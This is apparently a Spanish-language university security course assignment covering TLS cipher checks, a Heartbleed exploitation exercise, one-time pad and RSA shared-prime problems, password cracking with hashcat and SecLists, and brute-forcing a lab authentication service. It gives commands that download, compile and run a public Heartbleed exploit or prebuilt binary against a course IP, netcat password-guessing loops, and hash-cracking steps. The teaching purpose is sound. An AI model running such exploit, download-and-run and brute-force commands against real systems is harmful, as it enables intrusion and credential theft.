Práctico 1

Deadline parte ENTREGABLE: 15 de Septiembre 23:59
Sugerencia: Trabajar desde la máquina virtual con Kali instalada en el TP0.

1) Verifique si los siguientes dominios permiten el uso de criptografía insegura mediante HTTPS:

   www.famaf.unc.edu.ar
   www.unc.edu.ar
   www.google.com

   Por ejemplo usando el comando: tlssled o openssl s_client -tls1_2 -connect

   Investigue otros parámetros[1].

2) Verifique el estado general de los mismos dominios del punto 1) usando las herramientas sslscan (--tlsall) y sslyze (--regular)

3) Atacar HeartBleed (https://xkcd.com/1354/)
   Conectarse a: 143.0.100.198:1100
   Ejecutar:
   - `wget https://raw.githubusercontent.com/HackerFantastic/exploits/master/heartbleed.c`
   - `gcc heartbleed.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto`
   - `chmod +x heartbleed`
   - `./heartbleed -s IP -p PORT -f leaked.txt -v -t 1`

   * Si la compilacion falla, se puede bajar el binario directamente:
   `https://raw.githubusercontent.com/HackerFantastic/exploits/master/heartbleed-bin`

   Inspeccionar la información obtenida.

4) Escriba un programa en el lenguaje que prefiera y que sirva para encriptar y desencriptar un mensaje usando el algoritmo One Time Pad.

   157f061448020067027300d1661041a700e1c130200130112700e1f1d3a

   Hint: La password es de 3 bytes (que se repiten).
5) Trate de procesar y decodificar los datos que se encuentran a continuación:

[1] https://www.openssl.org/docs/man1.0.2/man1/ciphers.html

```
'''UEsDBBQAAAAIAD2GH1FRFnFeRgAAAEAAAAAIAAAAdGVzdC50eHQNyDEOhS
AMBuC9p/jDBItxx3gXIhia8FpT4S3Gu+P6sRxt5ILt7pl1qTuxdPwSC/xfOYe
HcNlnp3dVW3IhEqz0YYI10jsBUEsBAhQAFAAAAAgAPYYfUVEWcV5GAAAAQAAA
AAgAAAAAAAAAAAAAAAAAAAAAAHRlc3QudHh0UEsFBgAAAABAAEANgAAAGwAA
AAAAA..'''
```

6) Considere la clave pública RSA (n, e) donde n = 1255 and e = 3.
¿Cuál es el exponente de "desencriptado" d?

A) d = 3
B) d = 541
C) d = 667
D) d = 87
E) d = 17

7) Construir mi propio password cracker para sha512 (sin implementar crypto):
Ej: Dado el hash

```
$6$E9/7mCk2$MuH6Os01zz43fQWHqn.C0z2KII0fLw/VQ2vOnij6HW7Wig4.b
SiwyhHPn1o5cd/rC3b3M18D82tW9OYJ20O8i1
```

```
$ mkpasswd -m sha-512 "a" "E9/7mCk2"
$6$E9/7mCk2$MuH6Os01zz43fQWHqn.C0z2KII0fLw/VQ2vOnij6HW7Wig4.b
SiwyhHPn1o5cd/rC3b3M18D82tW9OYJ20O8i1
```

Otra forma (en python):

```
In [1]: import crypt
In [2]: crypt.crypt("a", "$6$E9/7mCk2$")
Out[2]:
'$6$E9/7mCk2$MuH6Os01zz43fQWHqn.C0z2KII0fLw/VQ2vOnij6HW7Wig4.
bSiwyhHPn1o5cd/rC3b3M18D82tW9OYJ20O8i1'
```

8) Ejemplo de uso de hashcat:

- Clonar https://github.com/danielmiessler/SecLists
  `$ git clone https://github.com/danielmiessler/SecLists`
- `$ cd SecLists/Passwords`
- `$ echo -n echolab | sha256sum > /tmp/hash.sha256`
- `$ hashcat -m 1400 /tmp/hash.sha256 xato-net-10-million-passwords.txt`
  `$ hashcat -m 1400 /tmp/hash.sha256 xato-net-10-million-passwords.txt --show`

- Notar que las passwords recuperadas por defecto se guardan en por ejemplo: ~/.hashcat/hashcat.potfile

Parte entregable

1. Considere los caracteres a..z, 0..9
   - ¿Cuántas palabras de longitud n hay posibles? (n <= 20)
   - Asumiendo que toma 1ms de explorar cada uno, grafique el tiempo que toma explorar el espacio para n=1....20.
   - Haga un programa en C (u otro lenguaje) que genere palabras de largo n en un archivo.

2) Dado un hash de tipo desconocido:
941d4637d8223d958d7f2324572c7e319dcea01f

Como intento crackearlo por ej, con hashcat?

Hint:

```
echo hola > example_ ;
for i in $( hashcat -h | grep MD4 -A212 | cut -d'|' -f1  | sort |
uniq); do
    echo $i ;
    echo  ./hashcat64.bin -m $i hash.unknown example_ ;
done
```

Que se puede hacer con "$?"

3) Basado en el diccionario creado en el Práctico 0 (ejercicio 5).
   - Verifique que palabras no se encuentran en las listas del directorio Passwords de Seclists.
     (Describa el proceso usado para obtener esta diferencia)
   - Cuales no se encuentran tampoco en las siguientes listas:
     http://ns2.elhacker.net/wordlists/

4) Elija 3 diccionarios/listas del directorio Passwords de SecLists y analice:
   - La longitud más frecuente de passwords de cada diccionario.
   - Muestre los 10 sufijos de 4 dígitos más usados de dichas listas.

(Resolver de 2 maneras diferentes: 1. Usando el comando pipal, 2. usando una idea propia)

5) Andrea, Briana y Celeste son mejores amigas; tal es el caso, que hasta comparten los mismos números primos en sus claves públicas RSA.

Andrea usa en su clave N1 = P.Q
Briana usa en su clave N2 = Q.R
Celeste usa en su clave N3 = P.R
donde P,Q,R son todos números primos de 1024 bit.

Todas usan el mismo exponente público e = 65537.

Con esto en mente, recuperar los siguientes mensajes C1, C2, C3:

```
N1 =
389573830229905951812919842231016962853053655719189056621093978169
837233625748218658216363084761241627749203495924351045793921001033
615906175860691910925991614360098191845694219976273862479619083888
950023878067522938346326780738415407413425107357217439202489248643
112549944692457300620871181084727239061951039581285618824753181592
079752610256272333395759424260346699622933592484895421093915204214
933230781069323992514925622479503198275275233640187252001610614566
747914409113016099887525686080909172127506919377373937005733404192
251999881326827857426084608388326426192058911474082346419239785092
3545998904365370408113

N2 =
303668390381967550574109116494546194718900491649463376637217628240
940969495870121174827705049910151195696200383593275555529325558682
728399040045131744472323440696897187353009328159168983279864691581
660934786104753412179240903083465924190464674345338750449624679108
168274124548237814929339937265455892965858207085397245488785465854
574180057434393015528851718553553320122028173995482027197966708105
236340651193802506139855135667554035821244913278167483281279644337
847638765972962358127443376905677516371878287187974727632745847397
017745159125185953040303217021596810131073900416353376767939420161
141083297454680203804 1

N3 =
479345567729954913738228458501575007323911241436168052925595131821
796030084134039909474313028792799656529816017455542218541032084194
263737440655883515013863114026562602007246465297338677272719254006
205192965523555243914503610550143480198461212780882981014684486948
752917764267624554929937148747828045767383972548819581274453592848
884473595054035692027303885712765241483635248391380765517069952081
676586327282585676576904317440602696406801725773808540096566197368
155865465874787834217398459241108501824220103887738276623948756450
372844282134806476416602485108025862975147676561399751262027475926
407627280168296214445 7

E = 65537

C1 =
396708474546125804352894757436683688457291028695044217325853929491
171136935487190613513217479209066321213697066977005912522338337419
604329864854419961723570625025089500459612736934675744115710978556
346050350466970024450696226499749911198313775828281699871502987873
199226066403667788132060336882800770615332190939846610876881382430
```

```
10151221291524753231982730429661085480203747504711952511079553352916185295153977015376141938766252709441553793340087345149002123397926822405447536064592008681108280327184856585143605802279761088763528719053329398048019148262553185551141571625347918479950940376765392742423267220959850 9
```

C2 =

```
35500651375055155079893171335468349126306247387917665645225505184868349753466057698157551885135125670236082367660957825923276367729269274331934527355908572451635077331933722604363443928212008361871802620353303356416743228090119717555973557279738286313201267540487690891433594174639322140272778826035488177331948022022593928339832694084710663071662933081773725131647436964027363220834775186668336338901672296982234573824748694253182119979002464795092422733761190787819668593060172268197128413003269501597578146759488894526193598933152416894414296396043283131502951693668167550687432080480619240585408701379144341703
```

C3 =

```
92483527830768048096632861854526889507753255652541371608096042192598565449713032968815621948594273692856251755288816392827085565941395894930159030201086266633105383834519651823738384628176839590980104395504764000314779878679325881350136600050333863893323854860501616986568822829775078071024835932629569384566388705590790096753599988521790597200614009624083130548461979696471367383922363205790545421393705433696251005152926633662973091375668841185442799957022320866760670368176202795742702883940959459162744822481308207216977591633165506022144554619917166813605068647135771098934688503944100008376414202178401877300 6
```

Ayuda:

Conociendo la factorización de primos de los Ni se puede usar el programa modelo:

```
n = p * q

# Compute phi(n)
phi = (p - 1) * (q - 1)

# Compute modular inverse of e
d = modinv(e, phi)

# Plain, text
pt = pow(ct, d, n)
```

donde:

```
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
```

6) Atacar el servicio de autenticación (black-box) en 143.0.100.198:60123

a. Dar un programa funcional en cualquier lenguaje (pero reproducible por los docentes) y óptimo que adivine la password de acceso.
b. Estimar el mejor/peor tiempo de trabajo.

Hint1: (Bash) Validación:

```
echo hola | nc 143.0.100.198 60123 -q 10 & > /tmp/out
if grep -q Felicitaciones /tmp/out; then
    echo PASSWORD IS $1
else
    echo WRONG
fi
```

Hint2: (Bash) Qué información me da ejecutar algo como:

```
for i in A B D 7 G O M J L P 5 K Z 3  ; do
    echo $i ;
    echo $i |  nc  143.0.100.198 60123  ;
done
```

7) Descargar y crackear el máximo posible número de passwords del listado de hashes MD5:
https://drive.google.com/file/d/1O-jsib5fe9_0Hid4GZT5uMBiermougvg/view?usp=sharing
Cual es la password más frecuente encontrada?